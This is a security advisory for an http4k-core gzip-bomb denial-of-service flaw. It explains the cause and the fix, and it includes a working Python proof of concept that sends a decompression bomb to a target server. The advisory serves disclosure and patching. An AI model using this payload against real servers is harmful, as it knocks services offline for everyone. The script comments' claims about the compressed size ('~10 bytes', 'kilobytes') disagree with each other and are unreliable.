CVE-2026-53659: http4k-core Unbounded Gzip Decompression DoS
Any unauthenticated client can crash an http4k server by sending a tiny gzip-compressed request body that expands to gigabytes, exhausting the JVM heap.

The problem
ServerFilters.GZip and RequestFilters.GunZip passed incoming request bodies through Java's GZIPInputStream with no size cap on the decompressed output.
An attacker sends a gzip bomb: a few kilobytes of compressed data that expands to gigabytes. The JVM heap fills up and the server stops serving all other clients. No authentication is required.
Proof of concept
A working proof-of-concept for CVE-2026-53659 in org.http4k:http4k-core, with the exact payload below.
import gzip, sys, struct, requests
# Build a gzip bomb: ~10 bytes of compressed zeros that expand to ~1 GB
with open('bomb.gz', 'wb') as f:
# Python's gzip wraps a stream of zeros
buf = gzip.compress(b'\x00' * (1024 * 1024 * 1024)) # 1 GB uncompressed
f.write(buf)
with open('bomb.gz', 'rb') as f:
payload = f.read() # only kilobytes on disk
r = requests.post(
'http://target:8080/any-endpoint',
data=payload,
headers={
'Content-Encoding': 'gzip',
'Content-Type': 'application/json',
},
stream=True
)
print(r.status_code) # 500 or connection drop on vulnerable; 413 on patchedBefore the patch, the gunzip path read the GZIPInputStream until EOF with no byte counter, so the JVM would allocate heap proportional to the uncompressed size. The fix wraps the stream in a counting reader that throws SizeLimitExceededException once 10 MB has been read, and the filter converts that to HTTP 413.
The root cause is CWE-409: trusting the Content-Encoding header and decompressing without a guard. The vulnerability existed since commit 2618fe08f9 in August 2017, roughly nine years before the fix.
The fix
Upgrade to http4k-core 5.42.0.0 (v5 LTS) or 6.49.0.0 (v6 Community). Both releases cap decompression at 10 MB by default. If the default limit does not suit your workload, duplicate the Gzip functions and set your own cap as documented in the changelog. As a short-term workaround, strip Content-Encoding: gzip at your edge (CDN, load balancer, or reverse proxy) before requests reach http4k.
Reported by http4k team (self-audit via Claude Opus).
Related research
- high · 7.5CVE-2026-59902CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion
- high · 7.1CVE-2026-55153CVE-2026-55153: mchange-commons-java Unsafe Reflection via JavaBeanObjectFactory
- highCVE-2026-53660CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)
- high · 7.5CVE-2026-56819CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)